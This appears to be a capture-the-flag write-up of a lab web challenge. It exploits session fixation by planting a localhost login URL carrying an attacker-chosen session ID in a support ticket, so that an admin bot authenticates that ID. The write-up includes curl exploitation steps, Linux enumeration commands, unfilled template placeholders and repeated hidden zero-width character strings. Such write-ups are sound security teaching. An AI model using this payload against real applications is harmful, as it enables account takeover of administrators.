← Back to Writeups
HTBN/AWeb

DeskFlow — Session Fixation via Support Ticket URL

XESXOR8/23/20266 min read
#web#htb#n/a

DeskFlow — Session Fixation via Support Ticket URL

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: admin_bot_url_visit, arbitrary_session_id_injection, localhost_internal_access, session_fixation_via_query_parameter, session_id_no_rotation

Summary

Task: Express.js support ticket platform where admin bot visits reference URLs; connect.sid accepts ?sid= query parameter and session ID doesn't rotate after login. Solution: Session fixation — submit ticket with reference_url pointing to http://localhost:8080/login?sid=ATTACKER_SID, admin bot authenticates with that SID, then reuse it to access /admin/dashboard.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260521_hackadvisor_deskflow
  • Tags: nodejs, session_fixation, nginx, express, privilege_escalation, admin_bot, cookie, localhost, support_ticket, connect_sid
  • Indicators: ?sid= query parameter accepted on endpoints, connect.sid cookie without HttpOnly, session ID does not rotate after login, admin bot visits user-submitted URLs, SSO callback comment in client-side JS mentioning /login?sid=
  • Source: 20260521_hackadvisor_deskflow.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_url_visit
  2. Arbitrary_session_id_injection
  3. Localhost_internal_access
  4. Session_fixation_via_query_parameter
  5. Session_id_no_rotation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_url_visit
  • arbitrary_session_id_injection
  • localhost_internal_access
  • session_fixation_via_query_parameter
  • session_id_no_rotation
  • Tags: nodejs, session_fixation, nginx, express, privilege_escalation, admin_bot, cookie, localhost, support_ticket, connect_sid

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You are testing DeskFlow, a customer support ticket management platform developed by FlowStack Solutions. The application allows customers to submit support tickets with descriptions and reference URLs, track ticket status, and communicate with support agents through threaded conversations.

The platform features user authentication, a ticket management dashboard, and an internal administrative panel. According to the documentation, an administrator periodically reviews new tickets and visits any reference URLs submitted with them.

Your goal is to find a vulnerability that allows you to escalate your privileges and access the admin panel, where sensitive system configuration data is stored.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js customer support platform behind nginx. Users create tickets with a reference_url field. An admin bot periodically reviews tickets and visits the submitted URLs. The goal is to escalate privileges to admin and read the flag from /admin/dashboard.

Analysis

Application reconnaissance

The application is an Express.js backend behind an nginx reverse proxy. Key findings from initial enumeration:

  • Session management: connect.sid cookie — notably NOT HttpOnly, SameSite=Lax, Secure
  • /robots.txt reveals: /admin/, /admin/dashboard, /api/internal/
  • /admin/dashboard returns 403 for regular users (requires admin role)
  • Decoy flag in HTML source: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — a honeypot to trap automated solvers. Always verify flags against the actual objective.
  • Ticket creation: POST /tickets with fields subject, description, priority, reference_url
  • Help text on reference_url: "An administrator will review the URL when processing your ticket" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Session fixation vulnerability

The critical vulnerability is a session fixation flaw via the ?sid= query parameter:

  1. ?sid= parameter accepted on ANY endpoint: When ?sid=X is present in the URL, the server uses session X for the request (overriding the cookie) and responds with Set-Cookie: connect.sid=X
  2. Arbitrary session IDs accepted: The ?sid= parameter accepts any string value, not just existing session IDs
  3. No session rotation after login: After a successful POST to /login, the session ID remains unchanged — the classic session fixation condition
  4. Client-side hint: app.js contains a comment: "Session redirect handler for SSO provider integration / Reads session token from query parameters for pre-authenticated callbacks / Provider endpoint: /login?sid=<session_token>&redirect=<path>" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means: if you can make someone visit /login?sid=ATTACKER_CHOSEN_ID and then authenticate, the attacker's chosen session ID becomes authenticated with the victim's privileges.

Admin bot behavior

The admin bot:

  • Periodically reviews new tickets
  • Visits any reference_url submitted with tickets
  • Runs internally and accesses URLs via http://localhost:8080 (the Express.js port, bypassing nginx)
  • After visiting a URL with ?sid=X, its cookie gets set to X, and subsequent authentication binds admin privileges to that session ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Critical insight: localhost vs external URL

The admin bot runs inside the container and processes reference URLs internally. Using the external HTTPS URL (https://UUID.labs.hackadvisor.io/...) does not work because:

  • The bot doesn't access the external proxy
  • Redirect pages hosted on the interaction server redirect to the external URL, not localhost
  • The ?sid= parameter must be delivered on a URL the bot fetches directly

The working vector is http://localhost:8080/login?sid=ATTACKER_SID — the bot visits this directly, gets the cookie set, and authenticates through the login page. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login as regular user

# Login and capture the session cookie
curl -v -X POST 'https://TARGET.labs.hackadvisor.io/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=user@test.com&password=password123' \
  -c cookies.txt

Step 2: Choose a fixed session ID

Any arbitrary string works as the session ID:

my-fixed-session-exploit-1779395268

Step 3: Create a support ticket with the fixation URL

# Create ticket with reference_url pointing to localhost login with our fixed SID
curl -X POST 'https://TARGET.labs.hackadvisor.io/tickets' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -b cookies.txt \
  -d 'subject=Help+needed&description=Please+review&priority=high&reference_url=http://localhost:8080/login?sid=my-fixed-session-exploit-1779395268'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The reference_url is the key payload: http://localhost:8080/login?sid=my-fixed-session-exploit-1779395268

When the admin bot visits this URL:

  1. The server processes ?sid=my-fixed-session-exploit-1779395268
  2. Sets Set-Cookie: connect.sid=my-fixed-session-exploit-1779395268 on the bot's browser
  3. The bot sees the login page and authenticates with admin credentials
  4. The session my-fixed-session-exploit-1779395268 is now authenticated as admin

Step 4: Wait for admin bot (~30 seconds)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The admin bot periodically reviews new tickets and visits reference URLs.

Step 5: Use the fixed session to access admin panel

# Access admin dashboard using the fixed session ID
curl -v 'https://TARGET.labs.hackadvisor.io/admin/dashboard' \
  -H 'Cookie: connect.sid=my-fixed-session-exploit-1779395268'

Or in the browser: set document.cookie = "connect.sid=my-fixed-session-exploit-1779395268" and navigate to /admin/dashboard.

Step 6: Extract the flag

The admin dashboard contains a System Configuration table. The flag is stored in the SYSTEM_SECRET_KEY configuration entry: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

FLAG{REDACTED}

What didn't work

AttemptWhy it failed
External HTTPS URL with ?sid= (https://UUID.labs.hackadvisor.io/login?sid=X)Admin bot visits URLs internally via localhost:8080, not the external proxy
Interaction server redirect pages (HTML with meta refresh / JS redirect)Redirects go to the external URL, not localhost
Various same-origin endpoints with ?sid= (/dashboard?sid=X, /?sid=X)These used the external URL, not the internal localhost
Visiting with both auth cookie AND ?sid= parameter?sid= overrides the cookie completely — doesn't transfer authentication
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR